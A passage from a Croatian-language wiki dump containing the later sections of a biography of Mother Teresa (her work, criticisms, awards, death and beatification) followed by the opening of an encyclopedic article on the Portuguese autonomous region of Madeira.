Srca), kao utočište za siročad i mlade beskućnike. Otvorili su se domovi i izvan Kalkute u drugim indijskom gradovima. Prva kuća izvan Indije otvorena je u [[Venezuela|Venecueli]] [[1965]]. godine s pet redovnica. Slijedile su kuće u [[Rim]]u, [[Tanzanija|Tanzaniji]] i [[Austrija|Austriji]] [[1968]]. godine, a tijekom 1970.-ih i u desecima drugih država u [[Azija|Aziji]], [[Afrika|Africi]], [[Evropa|Europi]] i [[Sjedinjene Američke Države|SAD]]-u. U [[Zagreb]]u djeluju od [[1979]]. godine. S njom je surađivao u Indiji hrvatski misionar [[Ante Gabrić]]. Njezin humanitarni rad ponekad se suočavao s [[kritika]]ma. Kritizirana je kvaliteta njege, jer su korištene zastarjele metode liječenja poput hladne kupke i korištenja potkožne igle te nije pružena sva potrebna medicinska pomoć, jer nije bilo dovoljno liječnika.<ref>Loudon, Mary. (1996)The Missionary Position: Mother Teresa in Theory and Practice, Book Review, BMJ vol.312, no.7022, 6. siječnja 2006., str.64–5. Preuzeto: 2. kolovoza 2007.</ref> Ponekad se bolesnici sa zaraznim i prenosivim bolestima nisu odvajali u [[karantin|karantene]], jer redovnice koje su brinule za njih, nisu bile svijesne da je to potrebno, jer nisu bile dovoljno medicinski obrazovane. Muški ogranak redovničke zajednice osnovan je 1963., a kontemplativni ogranak redovnica 1976. godine. Pridružili su se i brojni vjernici laici. Na zahtjev brojnih svećenika, Majka Terezija osnovala je 1981., Pokret za svećenike "Corpus Christi" (hrv. Tijelo Kristovo),<ref>God's People Yearn For Holy Priests, Founded by Blessed Mother Teresa of Calcutta. Corpus Christi Movement for Priests. Preuzeto 2. kolovoza 2007.</ref> a 1984. godine osnovala je s [[franjevci|franjevcem]] Josipom Langfordom redovničku zajednicu za svećenike (eng. "Missionaries of Charity Fathers"). Do [[2007]]. godine, redovnička zajednica imala je oko 450 redovnika i 5 000 redovnica, oko 600 misija, škola i skloništa u 120 država svijeta.<ref>Slavicek, Louise (2007). Mother Teresa. New York; Infobase Publishing, str. 90–91. {{ISBN|0-7910-9433-2}}.</ref> == Humanitarni rad u svijetu == Godine [[1982]]., u jeku opsade [[Bejrut]]a, Majka Terezija sudjelovala je u spašavanju 37 [[dete|djece]] zarobljene u bolnici na prvoj crti bojišta. Dogoveren je privremeni prekid vatre između [[izrael]]ske vojske i [[Palestina|palestinskih]] gerilaca.<ref>CNN Staff, "Mother Teresa: A Profile", preuzeto s CNN online 30. svibnja 2007.</ref> U pratnji djelatnika [[Crveni križ|Crvenog križa]], putovala je kroz ratnu zonu u devastiranu bolnicu, kako bi se odveli na sigurno pacijente. Nakon što su se dogodile promjene u [[Istočna Evropa|istočnoj Europi]] krajem 1980.-ih, pokrenula je niz projekata, što prije nije bilo moguće, jer vlasti nisu dopuštale. Imala je čvrsti stav protiv [[abortus|pobačaja]] i [[razvod]]a, zbog čega su je kritizirali. Putovala je u posjet i pomoć gladnima u [[Etiopija|Etiopiji]], žrtava zračenja u [[Černobilj|Černobilu]] te žrtvama potresa u [[Jermenija|Armeniji]].<ref>Cooper, Kenneth J. (14 September 1997). "Mother Teresa Laid to Rest After Multi-Faith Tribute". The Washington Post. Preuzeto 30. svibnja 2007.</ref> Godine [[1991]]., Majka Terezija došla je u [[Tirana|Tiranu]] i uspostavila novu kuću svoje redovničke zajednice. To je bio susret s njenim sunarodnjacima. Do [[1996]]. godine, bila je u 517 radnih misija u više od 100 država.<ref>Williams, Paul (2002).Mother Teresa. Indianapolis. Alpha Books, str. 199–204. {{ISBN|0-02-864278-3}}.</ref> Više puta posjetila je i Hrvatsku. Christopher Hitchens i [[nemačka|njemački]] magazin Stern kritizirali su je, da nije dovoljno koristila donirani [[novac]] za smanjenje [[siromaštvo|siromaštva]] i poboljšanje uvjeta u hospicijima, a da je puno ulagala u misionarski rad i otvaranje novih [[manastir|samostana]]. Kritizirana je i što je primila donacije od autokratske i korumpirane obitelji Duvalier s [[Haiti]]ja i od kontroverznog poslovnog čovjeka Charlesa Keatinga, kojem su sudili zbog prijevare i korupcije. == Zdravstvene tegobe i smrt == [[Datoteka:MotherTeresa 090.jpg|thumb|thumb|Majka Terezija [[1986]]. u [[Nemačka|Njemačkoj]].]] Doživjela je [[srčani udar]] u [[Rim]]u [[1983]]., dok je bila u posjetu [[papa|papi]] [[Ivan Pavao II.|Ivanu Pavlu II.]] Drugi srčani udar imala je [[1989]]. godine, kada su joj je ugrađena [[bajpas|srčana premosnica]]. Godine [[1991]]., nakon [[upala pluća|upale pluća]], dok je bila u [[Meksiko|Meksiku]], doživjela je dodatne srčane tegobe. Ponudila je ostavku na svoju poziciju na čelu Misionarki ljubavi, no redovnice su tajnim glasovanjem, odlučile da ostane. Majka Tereza je pristala na tu njihovu odluku. U aprilu-travnju [[1996]]., pala je i slomila [[ključna kost|ključnu kost]]. U augustu-kolovozu [[1996]]., bolovala je od [[malarija|malarije]] i ponovno imala tegobe sa srcem. Operirala je [[srce]], ali bilo je jasno da je njeno [[zdravlje]] narušeno. Liječila se u [[Sjedinjene Američke Države|SAD]]-u. Odstupila je s čelnog mjesta Misionarki ljubavi [[13. 3.]] [[1997]]. Umrla je u [[Kolkata|Kalkuti]], [[5. 9.]] [[1997]]. godine.<ref name="sharn"/> Pokopana je uz državne počasti odobrene od indijske Vlade u znak zahvalnosti za njenu pomoć siromašnima svih [[religija]] u [[Indija|Indiji]]. Njezina je smrt primljena s tugom u svjetovnim i vjerskim krugovima. [[Nawaz Sharif]], tadašnji premijer [[Pakistan]]a, rekao je tom prilikom da je bila jedna od rijetkih i jedinstvenih osoba koje žive za više ciljeve te da je njezino zauzimanje za siromašne i bolesne jedan od najljepših primjera služenja društvu.<ref>(16. 10. 2006.) Online Memorial Tribute to Mother Teresa. ChristianMemorials.com. Preuzeto 2. 8. 2007.</ref> Za života i nakon njezine smrti, Majka Terezija bila je prema anketama [[Gallup organizacija|Gallupa]] vrlo cijenjena u [[Sjedinjene Američke Države|SAD]]-u, a [[1999]]. godine bila je rangirana kao "najcijenjenija osoba 20. vijeka" po anketi u SAD-u.<ref>Frank Newport (31. 12. 1999). Mother Teresa Voted by American People as Most Admired Person of the Century</ref> U spomen na Majku Tereziju otvoreno je nekoliko muzeja. Također je nekoliko crkvi i župa nazvano po njoj, poput crkve bl. Majke Terezije u [[Koprivnica|Koprivnici]] posvećene [[22. 2.]] [[2009]]. godine.<ref>{{Cite web |title=Archive copy |url=http://www.kriz-zivota.com/zoom/4176/prva_crkva_majke_terezije_u_hrvatskoj/ |access-date=2010-10-15 |archivedate=2010-09-01 |archiveurl=https://web.archive.org/web/20100901045459/http://www.kriz-zivota.com/zoom/4176/prva_crkva_majke_terezije_u_hrvatskoj/ |deadurl=yes }}</ref> Po Majci Tereziji imenovane su ceste, a Indijske željeznice uvode novi vlak "Majka Express", nazvan po Majci Tereziji, koji počinje voziti [[26. 8.]] [[2010]]. u povodu 100. obljetnice njezina rođenja.<ref>""Mother Express" to be launched on Aug 26". IBN Live. 2. kolovoza 2010. http://ibnlive.in.com/generalnewsfeed/news/mother-express-to-be-launched-on-aug-26/194494.html {{Webarchive|url=https://web.archive.org/web/20110812053510/http://ibnlive.in.com/generalnewsfeed/news/mother-express-to-be-launched-on-aug-26/194494.html |date=2011-08-12 }}.</ref> == Odjek u Indiji == Majka Terezija dobila je nagradu [[Indija|indijske]] vlade "Padma Shri" [[1962]]., što je bila prva njena nagrada u Indiji. Dobivala je nagrade i u sljedećim desetljećima, uključujući Nagradu "[[Jawaharlal Nehru]]" za međunarodno razumijevanje [[1972]]., a [[1980]]. godine dobila je najviše indijsko civilno priznanje "Bharat ratna". Njenu službenu biografiju napisao je indijski državni službenik Navin Chawla [[1992]]. godine.<ref>"Mother Teresa: The Authorized Biography" {{ISBN|978-0-7567-5548-5}}.</ref> Bilo je i kritičara njenog rada u Indiji. Aroup Chatterjee, koji je rođen i odrastao u [[Kolkata|Kalkuti]], ali je živio u [[London]]u, kritizirao je Majku Tereziju da promiče negativnu sliku o Kalkuti. Bilo je i kritika na njen pokop uz indijske državne počasti. == Odjek u svijetu == [[Datoteka:President Reagan Presents Mother Teresa with the Medal of Freedom at a White House Ceremony in the Rose Garden - DPLA - 1321c7b194e7e893127ef14b2f7c565c.jpg|thumb|250px|Majka Terezija prilikom susreta s nekadašnjima američkim predsjednikom [[Ronald Reagan|Ronaldom Reaganom]] i njegovom suprugom prilikom dobivanja "Predsjedničke medalje za slobodu" 1985. godine.]] Godine [[1962]]., Majka Tereza dobila je nagradu "[[Ramon Magsaysay]]" za mir, međunarodno razumijevanje i za rad u Južnoj i Istočnoj Aziji. Ta nagrada često se naziva i "azijskom Nobelovom nagradom".<ref>Clare Arthurs (25. 7. 2000.) "Activists share 'Asian Nobel Prize'". BBC News. http://news.bbc.co.uk/1/hi/world/asia-pacific/851034.stm{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}. Preuzeto 20. 2. 2008.</ref> Do ranih 1970.-tih, Majka Terezija postala je međunarodno poznata. Njezina popularnost u to vrijeme u velikoj se mjeri pripisuje [[dokumentarni film|dokumentarnom filmu]] "Nešto lijepo za Boga" iz [[1969]]., koji je snimio [[Malcolm Muggeridge]]. [[Papa]] [[Pavao VI]]. dodijelio joj je nagradu za mir [[1971]]., nazvanu po papi [[Ivan XXIII.|Ivanu XXIII.,]] pohvalivši njen rad sa siromašnima, kršćansku ljubav i nastojanja za mir. Kasnije je dobila crkvenu nagradu "Pacem in Terris" [[1976]].<ref>Quad City Times staff (17. listopada 2005). "Habitat official to receive Pacem in Terris honor". Peace Corps. Preuzeto 26. svibnja 2007.</ref> Dana, [[19. 10.]] [[2003]]., [[Ivan Pavao II.|papa Ivan Pavao II.]] proglasio ju je blaženom. To se dogodilo dosta brže, nego što je slučaj kod drugih beatifikacija. Majka Tereza dobila je nagrade brojnih vlada i civilnih udruga. Imenovana je počasnom članicom "Reda Australije" 1982. godine, "za služenje zajednici u [[Australija|Australiji]] i [[humanost]] u cjelini".<ref>{{Cite web |title=Archive copy |url=http://www.itsanhonour.gov.au/honours/honour_roll/search.cfm?aus_award_id=882114&search_type=advanced&showInd=true |access-date=2010-10-15 |archive-date=2011-05-26 |archive-url=https://web.archive.org/web/20110526202959/http://www.itsanhonour.gov.au/honours/honour_roll/search.cfm?aus_award_id=882114&search_type=advanced&showInd=true |dead-url=yes }}</ref> Dobila je nagrade [[Ujedinjeno Kraljevstvo|Ujedinjenog Kraljevstva]] i [[Sjedinjene Američke Države|Sjedinjenih Američkih Država]], a također i počasno državljanstvo Sjedinjenih Američkih Država. Dobila je i [[Albanija|albansku]] nagradu "Zlatni ponos nacije" [[1994]]., te [[Haiti|haićansku]] državnu nagradu. Njezino prihvaćanje te dvije nagrade, naišlo je na kritike, jer su albanska i haićanska vlast u to vrijeme bile na lošem glasu. Sveučilišta sa Zapada i iz Indije dodijelili su joj počasne doktorate.<ref>Parvathi Menon Cover story: A life of selfless caring, Frontline, Vol.14 :: No. 19 :: 20. rujna – 3. listopada 1997.</ref> Među ostalim nagradama dobila je i civilnu nagradu "Balzan" za promoviranje humanosti, mira i bratstva među narodima [[1978]]., i Međunarodnu nagradu [[Albert Schweitzer]] [[1975]]. godine.<ref>Jones, Alice & Brown, Jonathan (7 March 2007). "Opposites attract? When Robert Maxwell met Mother Teresa". The Independent. Preuzeto 26. svibnja 2007.</ref> Godine [[1979]]., Majka Terezija dobila je [[Nobelova nagrada za mir|Nobelovu nagradu za mir]], "za rad koji poduzima u borbi za prevladavanje siromaštva i patnje, što također predstavlja prijetnju miru." Odbila je sudjelovati na svečanom banketu za laureate i zamolila je, da se nagrada od 192 000 dolara preda siromasima u Indiji,<ref>Locke, Michelle for the Associated Press (22. ožujka 2007). "Berkeley Nobel laureates donate prize money to charity". San Francisco Gate. Preuzeto 26. svibnja 2007.</ref> dodajući da zemaljske nagrade imaju važnost samo zbog toga što pomažu njezinom nastojanju za pomoć potrebitima u svijetu. Kada je Majka Terezija dobila nagradu, bila je upitana: "Što možemo učiniti za promicanje mira u svijetu?" Ona jeodgovorila: "Idite kući i volite svoju obitelj." U govoru povodom dobivanja nagrade među ostalim je rekla: "Zahvalna sam i sretna što ovu nagradu mogu primiti u ime gladnih, golih, onih bez domovine, bogalja, slijepih i bolesnih od gube. U ime svih onih koji se osjećaju nepoželjnima, nevoljenima, nezbrinutima, u ime onih koji su isključeni iz našeg društva. Ja nagradu primam u njihovo ime i sigurna sam da će ova nagrada donijeti novu ljubav između siromašnih i bogatih. Na ovome je inzistirao i Isus i zbog toga je i došao na ovaj svijet, da bi siromašnima donio ovu radosnu vijest".<ref name="Archive copy">{{Cite web |title=Archive copy |url=http://www.dadalos.org/kr/Vorbilder/theresa/nobelpreis.htm |access-date=2010-10-15 |archivedate=2013-06-24 |archiveurl=https://web.archive.org/web/20130624145346/http://www.dadalos.org/kr/Vorbilder/theresa/nobelpreis.htm |deadurl=yes }}</ref> Također je istaknula, svoj glas protiv [[abortus|pobačaja]]: "U novinama čitamo ovo ili ono, ali nitko ne govori o milijunima malih koji su prihvaćeni s jednakom [[ljubav]]lju kao vi i ja, s Božjom ljubavlju. A mi ništa ne kažemo, ostajemo nijemi. Za mene su nacije koje su legalizirale pobačaj najsiromašnije zemlje. Oni se plaše malih, oni se plaše nerođenih. I dijete mora umrijeti jer ga oni više ne žele - ne žele više ni jedno djete - i dijete mora umrijeti."<ref name="Archive copy"/> == Duhovni život == Analizirajući njezina djela i dostignuća, papa [[Ivan Pavao II.]] pitao je: "Gdje je Majka Terezija pronašla snagu i upornost, da se osobno potpuno preda na službu drugima? Snagu je pronalazila u molitvi i kontemplaciji [[Isus|Isusu Kristu]], njegovom Svetom Licu i [[Srce Isusovo|Presvetom Srcu]]."<ref>John Paul II (20. listopada 2003). "Address Of John Paul II To The Pilgrims Who Had Come To Rome For The Beatification Of Mother Teresa". Vatican.va. http://www.vatican.va/holy_father/john_paul_ii/speeches/2003/october/documents/hf_jp-ii_spe_20031020_pilgrims-mother-teresa_en.html. Preuzeto 13. ožujka 2007.</ref> Njezin postulator (službena osoba koja vodi postupak [[beatifikacija|beatifikacije]] i [[kanonizacija|kanonizacije]]) Brian Kolodiejchuk izjavio je, da je Majka Terezija proživljavala duhovne dvojbe i borbe oko [[vjera|vjerskih]] uvjerenja velik dio svoga [[život]]a.<ref>David Van Biema (23. kolovoza 2007). "Mother Teresa's Crisis of Faith". TIME. http://www.time.com/time/world/article/0,8599,1655415,00.html {{Webarchive|url=https://web.archive.org/web/20130816032159/http://www.time.com/time/world/article/0,8599,1655415,00.html |date=2013-08-16 }}</ref> Zabilježeno je da su i mnogi drugi katolički duhovni velikani proživljavali slične duhovne kušnje poput njene imenjakinje [[Sveta Mala Terezija|sv. Terezije iz Lisieuxa]] ili [[Sveta Faustina Kowalska|sv. Faustine Kowalske]] i drugih. Katolički mistik sv. [[Ivan od Križa]], skovao je izraz "tamna noć duše" za to razdoblje u duhovnom rastu i razvoju. U svojoj prvoj enciklici "[[Deus caritas est]]", papa [[Benedikt XVI]]. spomenuo je Majku Tereziju tri puta, a koristio je i njen život kako bi objasnio jednu od glavnih točaka [[enciklika|enciklike]]. "U primjeru blažene Terezije iz Kalkute imamo jasnu ilustraciju činjenice, da vrijeme posvećeno [[Bog]]u u [[molitva|molitvi]] ne samo, da ne umanjuje snagu i služenje iz ljubavi našim bližnjima, nego je u stvari neiscrpan izvor toga."<ref>Pope Benedict XVI (25. prosinca 2005). Deus Caritas Est. (PDF). Vatican City, str.10. Preuzeto 2. kolovoza 2007.</ref> Iako ne postoji izravna veza između Majke Terezije i [[Franjevci|franjevačkog reda]], jako je cijenila i poštivala [[Franjo Asiški|sv. Franju Asiškog]].<ref>"Mother Teresa of Calcutta Pays Tribute to St. Francis of Assisi" on the American Catholic website, preuzeto 30. svibnja 2007.</ref> U njenom životu mogu se naći utjecaji franjevaca i poveznice sa životom sv. Franje. Znala je napamet neke njegove molitve, a jednu od njih izgovorila je i prilikom govora povodom dobivanja [[Nobelova nagrada za mir|Nobelove nagrade za mir]] 1979. godine. Redovnice njenog reda svaki dan mole tu molitvu sv. Franje, koji je promicao [[siromaštvo]], čistoću, poslušnost i pokornost Kristu. On je također svoje vrijeme posvetio služenju siromasima, osobito gubavcima u području gdje je živio. == Beatifikacija == Nakon smrti Majke Terezije [[1997]]. godine, [[Sveta Stolica]] započela je proces [[beatifikacija|beatifikacije]], korak prema mogućoj kanonizaciji. Ovaj proces zahtijeva dokumentaciju o [[život]]u i radu Majke Terezije te dokumentaciju o [[čudo|čudu]] po zagovoru Majke Terezije. Sveta Stolica je kao čudo prepoznala iscjeljenje [[tumor]]a u [[trbuh|abdomenu]] [[Indija|Indijke]] Monice Besre [[2002]]., nakon što je kraj sebe imala medaljon sa slikom Majke Terezije. Besra je izjavila, da je snop [[svjetlost]]i došao sa slike nakon čega je ozdravila od tumora. Bilo je kritičara, koji su tvrdili, da je moguće da je ozdravila i zbog lijekova koje je uzimala, no komisija Svete Stolice potvrdila je čudo kao autentično. Papa [[Ivan Pavao II.]] proglasio je Majku Tereziju blaženom [[19. 10.]] [[2003]]. godine. Vodi se postupak, da se proglasi svetom, za što je potrebno još jedno čudo. Majka Tereza je postala poznata po svom humanitarnom radu u naše doba, kao što su to bili u svoje doba [[Vincent Paulski]], [[Ivan Bosko]] ili [[Howard Kelly]], == Filmovi i knjige == Život Majke Terezije tema je [[dokumentarni film|dokumentarnog filma]] "Nešto lijepo za Boga" iz [[1969]]. godine, redatelja Malcolma Muggeridgea. Na temelju filma, isti autor objavio je i knjigu. Kevin Connor redatelj je filma o životu Majke Terezije: "U ime Božjih siromaha" iz [[1997]]. Glavnu ulogu glumi [[Geraldine Chaplin]], kćer [[Charlie Chaplin]]a. Film je osvojio nagradu na "Art film festivalu" [[1998]]. godine. O životu Majke Terezije napravljena je i talijanska televizijska serija "Majka Terezija" iz [[2003]]. godine. Glavnu ulogu glumi [[Olivia Hussey]]. Miniserija je kasnije prerađena u televizijski film "Majka Terezija iz Kalkute", koji je dobio američku nagradu CAMIE [[2007]]. godine. O Majci Tereziji napisao je jako puno životopisa na velikom broju jezika. == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Mother Teresa}} * [http://www.vopus.org/sr/gnoza/gnosticka-mudrost/mudre-reci--majke-tereze.html Mudre reči Majke Tereze] {{Webarchive|url=https://web.archive.org/web/20110919142405/http://www.vopus.org/sr/gnoza/gnosticka-mudrost/mudre-reci--majke-tereze.html |date=2011-09-19 }} {{Nagrada Templeton}} {{Nobelova nagrada za mir}} {{Normativna kontrola}} {{Lifetime|1910|1997|Majka Tereza}} [[Kategorija:Humanitarci]] [[Kategorija:Nobelovci za mir]] [[Kategorija:Katolički sveci]] [[Kategorija:Aromuni]] [[Kategorija:Biografije, Skoplje]] [[Kategorija:Pseudonimi]] 9ps1jn4pjx4njc81wjochc9r0qsit5n 0 23459 42602709 42561937 2026-05-28T10:28:51Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602709 wikitext text/x-wiki {{Okvir_zemlje_svijeta | ime = Autonomna regija Madeira | izvorno_ime = Região Autónoma da Madeira | ime_genitiv = Madeire | eng_ime = Madeira | zastava =Flag_of_Madeira.svg | grb =Coat of arms of Madeira.svg | službeni_jezik = [[portugalski jezik|portugalski]] | glavni_grad = [[Funchal]] | predstavnik_države_množina = Predsjednici| predstavnik_države = Predsjednik | predstavnik_države_osoba = nema, postoji regionalna vlada | predsjednik_vlade_osoba = [[Alberto João Jardim]] | površina_poredak = n/a | površina = 797 | vode = n/a | stanovništvo_poredak = n/a | stanovništvo = 253 482 | godina_popisa = 2001 | gustoća_stanovništva = 313 | neovisnost = nema, [[Portugalske autonomne regije|Autonomna regija]] [[Portugal]]a | valuta = [[euro]] | stoti_dio_valute = 100 centa | vremenska_zona = +1 | himna = [[A Portuguesa]] (nacionalna), <br /> [[Hino da Região Autónoma da Madeira]] (lokalna) | internetski_nastavak = [[.pt]] | pozivni_broj = +(351)291 xxx xxx | komentar = | moto = Das ilhas, as mais belas e livres <br /> (portugalski:"od svih otoka najlijepši i najslobodniji") }} '''Madeira''' (službeno: ''Autonomna regija Madeira'', [[portugalski jezik|portugalski]]: ''Região Autónoma da Madeira'') je autonomna [[Autonomne portugalske regije|portugalska regija]] u [[Atlantik|Atlantskom oceanu]]. Jedini naseljeni otoci na ovom otočju su otok Madeira i [[Porto Santo]]. Madeira čini integralni dio [[Evropska unija|Europske Unije]] kao njena ultraperiferna regija. Otočje Madeira, koje su [[Antički Rim|Rimljani]] nazivali „Grimizni otoci”, su ponovno, vjerojatno slučajno, otkrili [[Portugalci]] te ga naselili [[1418]]. godine. Otočje je poznato po [[turizam|turizmu]], te po [[Madeira (vino)|vinu]]. == Historija == [[Datoteka:Madeira Ancient Map2.JPG|thumb|left|200px|Stara karta Madeire]] Smatra se da su [[Fenikija|Feničani]] otkrili Madeiru, makar za to ne postoje osnovani dokazi. [[Plinije Stariji]] spominje Grimizne otoke, na položaju blizu Otoka sreće ([[Kanari|Kanara]]), što bi moglo biti madeirsko otočje. [[1419]]. godine, brodski kapetani [[João Gonçalves Zarco]] i [[Tristão Vaz Teixeira]] u službi princa [[Henrik Pomorac|Henrika Pomorca]], bježeći od oluje sklonili su se na otok Porto Santo (''Sveta Luka''), kojeg su tako prozvali iz zahvalnosti zbog spasa od brodoloma. Sljedeće godine su ovi moreplovci uz [[Bartolomeu Perestrelo|Bartolomeja Perestrela]] kolonizirali otočje te ga stavili pod portugalsku krunu. Zbog potencijala otoka, te zbog strateškog položaja, od [[1425]]. počinje detaljna [[kolonizacija]] i stalno naseljavanje otočja, a od [[1440]]. uvodi se režim [[kapetanija]]. [[1452]]. na otoku počinje raditi prvi mlin za obradu šećera, a u isto vrijeme se postavljaju i prvi kanali za natapanje - [[levada|levade]]. U to vrijeme Portugal postaje jedan od vodećih europskih dobavljača šećera. [[1478]]. godine, otočje posjećuje [[Kristofor Kolumbo|Kolumbo]] kao trgovac šećerom, a do [[1515]]. godine, stanovništvo Madeire je naraslo na 19.000 stanovnika, od čega su 3.000 bili [[ropstvo|robovi]]. U 16. stoljeću, Madeira je postala izvoznik vina, a [[loza]] je bila izvorno sa [[Cipar|Cipra]], [[Krit|Krete]] i [[Sicilija|Sicilije]]. [[Trtna uš]] koja je donesena iz SAD-a je prouzrokovala pad proizvodnje vina. Tako je postepeno došlo do velikog emigracijskog vala madeirskog stanovništva. [[1580]]. godine, [[Španija|Španjolska]] osvaja i preuzima kontrolu nad Madeirom, te centralizira upravu. [[1640]]. Portugalci se pobunjuju protiv španjolskih doseljenika, te se Madeira vraća u ruke Portugala, ali zadržava španjolski sustav uprave. Madeira je bila važna stanica, na putu u [[Novi svijet]] ili u [[Indija|Indiju]], te mjesto za prekrcaj robova iz Afrike. [[1921]]. godine, nakon neuspjelog državnog udara, na Madeiru je deportiran [[Austro-Ugarska|austro-ugarski]] [[car]] [[Karlo I. Austrijski|Karlo I.]] koji je ovdje i umro iduće godine. Nakon demokratske revolucije u Portugalu [[1974]]., [[1. 7.|1. srpnja]] [[1976]]. godine, Portugal je Madeiri dodijelio autonomiju. == Politika == Od [[1976]]. godine, Madeira kao i [[Azori]] se smatra autonomnom regijom Portugalske Republike, sa izvršnom vlasti i regionalnom zakonodavnom skupštinom. Trenutni predsjednik regionalne vlade je [[Alberto João Jardim]], koji je na tom mjestu već više od 20 godina. Sjedište regionalne vlade se nalazi u [[Funchal]]u. [[Afrička unija]] smatra ovaj prostor okupiranim afričkim teritorijem kojeg drži strana sila, unatoč činjenici što na ovom otoku nikad nisu doseljavani ljudi s [[Afrika|afričkog]] kontinenta, te je otočje bilo u potpunosti nenaseljeno do dolaska Portugalaca. == Geografija == Otočje Madeira se sastoji u Atlantskom oceanu, između 30° i 33° sjeverne zemljopisne širine, 978&nbsp;km jugozapadno od [[Lisabon]]a. Otočje je vulkanskog podrijetla, a sastoji se od otokâ Madeira (736&nbsp;km²), [[Porto Santo]] (43&nbsp;km²), [[Desertas]] (14&nbsp;km²) i [[Selvagens]] (18&nbsp;km²). Samo prva dva su naseljeni, dok su ostali prirodni rezervati. Otočje se nalazi u sjevernom dijelu Atlantskog oceana, 700&nbsp;km od afričke obale, skoro na istoj širini kao i [[Casablanca]], koja je bliže [[Gibraltarski tjesnac|Gibraltarskom tjesnacu]]. Glavni grad Funchal se nalazi na otoku Madeira, ostali važni gradovi su: grad Porto Santo poznat i kao Vila Baleira, [[Ribeira Brava]], [[Machico]], [[Câmara de Lobos]], [[Santa Cruz, Madeira|Santa Cruz]], [[Caniço]], [[Ponta do Sol]] i [[Calheta]]. Otok Madeira je najveći otok u skupini, sa dužinom od 57 [[kilometar|km]] i širinom od 22&nbsp;km. Otok je izdužen u smjeru istok-zapad, u kojem ga siječe planinski lanac, čija je osrednja visina 1220 metara. Najviša točka na [[ostrvo|otoku]] je [[Pico Ruivo]], visine od 1862 metara. Prije doseljenja izvornih stanovnika, cijeli je otok pokrivala [[šuma]] ''[[laurisilva]]''. Danas postoji tek mali dio te šume na jugu otoka, dok se veći dio nalazi na sjeveru. Šuma je nestala u namjernim požarima koje su izazvali doseljenici kako bi stvorili područje pogodno za poljoprivredu. Naziv otoka Madeira na portugalskom znači ''drvo'', a to je ime otoku dano upravo zbog šuma. [[UNESCO]] je šumu na Madeiri stavio na popis [[svetska baština|svjetske baštine]]. === Otoci === * [[Porto Santo]] * [[Deserta Grande]] * [[Selvagem Grande]] ([[Ilhas Selvagens]]) * [[Bugio]] * [[Selvagem Pequena]] ([[Ilhas Selvagens]]) * Selvagens' otočić [[Fora]] * Desertas' otčić [[Chão]] === Klima === Zbog svog položaja i izloženosti vjetrovima, otocima vlada drugačija [[mikroklima]], koja u kombinaciji sa egzotičnom vegetacijom tvori turistima zanimljivo odredište. Otocima ne vlada velika razlika u temperaturi, godišnja prosječna temperatura varira između 16&nbsp;°C i 22&nbsp;°C. [[Klima]] je poprilično vlažna, a oblaci i magla često pokrivaju planine u unutrašnjosti. [[Temperatura]] mora varira između 17&nbsp;°C i 22&nbsp;°C. === Upravna podjela === Otočje se sastoji od 11 općina: * [[Calheta (Madeira)|Calheta]] * [[Camacha]] * [[Câmara de Lobos]] * [[Funchal]] * [[Machico]] * [[Ponta do Sol]] * [[Porto Moniz]] * [[Porto Santo]] * [[Ribeira Brava (Madeira)|Ribeira Brava]] * [[Santa Cruz (Madeira)|Santa Cruz]] * [[Santana (Madeira)|Santana]] * [[São Vicente (Madeira)|São Vicente]] == Gospodarstvo == === Poljoprivreda === [[Datoteka:Mercado dos Lavradores, Madeira (16587278615).jpg|thumb|250px|Poljoprivredni proizvodi na Mercado dos Lavradores, Funchal]] Poljoprivreda je povijesno dominantan sektor madeirskog gospodarstva, od kojeg je živjela većina stanovništva. Zbog vulkanskog podrijetla tlo je plodno, ali brdski reljef onemogućava mehanizaciju. Na nivou organizacije poljoprivrednog prostora, mogu se ustanoviti tri razine. Na niskim visinama, uz more, nalaze se vrlo isplative kulture, kao [[banane]], Annona coriacea, [[mango]], [[šećerna trska]], [[gospodinova krunica]] i druge tropske vrste. Na srednjoj razini nalaze se prehrambene kulture, kao [[krumpir]], [[pasulj|grah]], [[pšenica]], [[kukuruz]], te tipično mediteransko voće. Na najvišim visinama nalazimo travu i šume. Od [[stočarstvo|stočarstva]] je najrazvijenije kozarstvo i govedarstvo. U [[ribarstvo|ribarstvu]] se najviše lovi [[tuna]] i [[sabljarka]]. Danas je u poljoprivrednom sektoru proizvodnja banana usmjerena na regionalnu i nacionalnu potrošnju. Vrlo veliki doprinos regionalnog gospodarstvu daje madeirsko vino, te cvjećarstvo. === Industrija === [[Industrija]] koja postoji je većinom zanatska, kao npr. odjevni predmeti. Ono malo industrije što postoji je većinom usmjereno na lokalne potrebe, kao npr. prehrambeni proizvodi, te prerada šećerne trske. Industrija je koncentrirana u Funchalu, Santa Cruzu i Machicu. [[Datoteka:Funchal, Jardim Botânico da Madeira (Choreographed gardens) 3.jpg|thumb|Botanički vrt s Funchalom u pozadini]] Kako bi se gospodarstvo pozitivno razvijalo, na Madeiri je osnovana slobodna zona (''Zona Franca da Madeira''). Ona obuhvaća razna poduzeća financijskih, industrijskih i trgovačkih aktivnosti koja uživaju razne porezne olakšice. Madeira ima vrlo povoljnu fiskalnu politiku za ulagače, te su njeni porezi puno nižih od onih u ostatku Europske Unije. Zbog ove činjenice događa se veliki priljev investicija na otočje. === Turizam === [[Turizam]] je vrlo važna gospodarska aktivnost otočja, koja čini 20% ukupnog [[Bruto domaći proizvod|BDP]]-a, te tijekom cijele godine održava aktivnim trgovački i prometni sektor i druge aktivnosti, te stvara znatno tržište za lokalne proizvode. Na otoku [[Porto Santo]], koji ima 9&nbsp;km plaže i povoljnu klimu, turizam je jedina aktivnost. Tijekom zadnjih nekoliko godina, znatno su povećani kapaciteti [[hotel]]skog smještaja. Veliki potencijal u turizmu ostvaren je u investiranju u [[održivi razvoj]], čime je napredak postignut bez remećenja ravnoteže između okoliša i društveno-gospodarskih aktivnosti. Veliki trud je uložen u očuvanju [[okoliš]]a, što je glavni razlog turističkih dolazaka na Madeiru. == Stanovništvo == [[Datoteka:Madeira Santana.jpg|thumb|left|100px|Tradicionalne madeirske kuće na farmama u [[Santana (Madeira)|Santani]]]] Na otočju živi više od 250 000 stanovnika, od čega oko 5 000 na otoku Porto Santo. 1991. godine gustoća naseljenosti na otoku Madeiri je bila 337 stanovnika/km², dok je na Porto Santu bila 112 stan./km². Većina ranih doseljenika je doselila iz portugalskih regija [[Algarve]] i [[Minho (regija)|Minho]]. 75% stanovništva otoka Madeire živi na 35% teritorija, a najveći broj stanovnika je koncentriran u Funchalu gdje 